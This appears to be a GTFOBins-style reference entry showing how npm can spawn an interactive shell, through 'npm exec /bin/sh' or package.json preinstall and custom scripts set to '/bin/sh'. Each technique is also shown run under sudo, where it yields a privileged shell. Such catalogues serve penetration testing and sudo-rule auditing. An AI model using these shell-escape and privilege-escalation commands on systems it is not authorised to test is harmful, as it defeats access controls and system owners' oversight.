This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
npm exec /bin/sh
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
npm exec /bin/sh
This function can be performed by any unprivileged user.
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
This function can be performed by any unprivileged user.
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx